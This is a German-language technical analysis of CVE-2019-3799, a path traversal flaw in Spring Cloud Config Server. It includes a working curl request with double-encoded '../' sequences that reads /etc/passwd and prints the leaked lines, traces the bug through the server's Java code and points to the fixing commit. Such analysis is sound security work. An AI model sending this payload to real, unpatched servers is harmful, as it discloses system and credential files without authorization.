
CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config Server ist anfällig für einen Directory Traversal / Path Traversal / File Content Disclosure < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config, Versionen 2.1.x vor 2.1.2, Versionen 2.0.x vor 2.0.4 und Versionen 1.4.x vor 1.4.6 sowie ältere nicht unterstützte Versionen erlauben es Anwendungen, beliebige Konfigurationsdateien über das spring-cloud-config-server-Modul bereitzustellen. Ein böswilliger Benutzer oder Angreifer kann eine Anfrage mit einer speziell gestalteten URL senden, die zu einem Directory-Traversal-Angriff führen kann.

Gefunden von Vern ([email protected])
Sicherheitshinweis
Technische Analyse
cd spring-cloud-config-server
../mvnw spring-boot:run
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Wie immer finden wir durch das Lesen der Dokumentation die relevanten Informationen:
Bereitstellung von Klartextdateien: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text
Der Config Server stellt diese über einen zusätzlichen Endpunkt unter /{name}/{profile}/{label}/{path} bereit, wobei "name", "profile" und "label" die gleiche Bedeutung wie der normale Umgebungsendpunkt haben, "path" jedoch ein Dateiname ist (z.B. log.xml).
Der Server stellt diese über einen zusätzlichen Endpunkt unter /{name}/{profile}/{label}/{path} bereit.
Eine weitere interessante Information aus der Dokumentation:
Bei VCS-basierten Backends (git, svn) werden Dateien auf das lokale Dateisystem ausgecheckt oder geklont. Standardmäßig werden sie im temporären Verzeichnis des Systems mit einem Präfix von config-repo- abgelegt. Unter Linux könnte es beispielsweise /tmp/config-repo- sein.
Was passiert, wenn wir http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd senden?
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
retrieve ruft die Funktion findOne aufsynchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
findOne wird aufgerufen:public synchronized Resource findOne(String application, String profile, String label, String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
try {
for (int i = locations.length; i-- > 0; ) {
String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (file.exists() && file.isReadable()) {
return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
retrieve die Datei mit StreamUtils.copyToString(is, Charset.forName("UTF-8"), was /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd in /etc/passwd umwandelt, was zur Offenlegung der Datei /etc/passwd führt.
Fix: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths
fixes gh-1355
---
.../resource/GenericResourceRepository.java | 165 ++++++++++++++++--
.../GenericResourceRepositoryTests.java | 18 ++
2 files changed, 170 insertions(+), 13 deletions(-)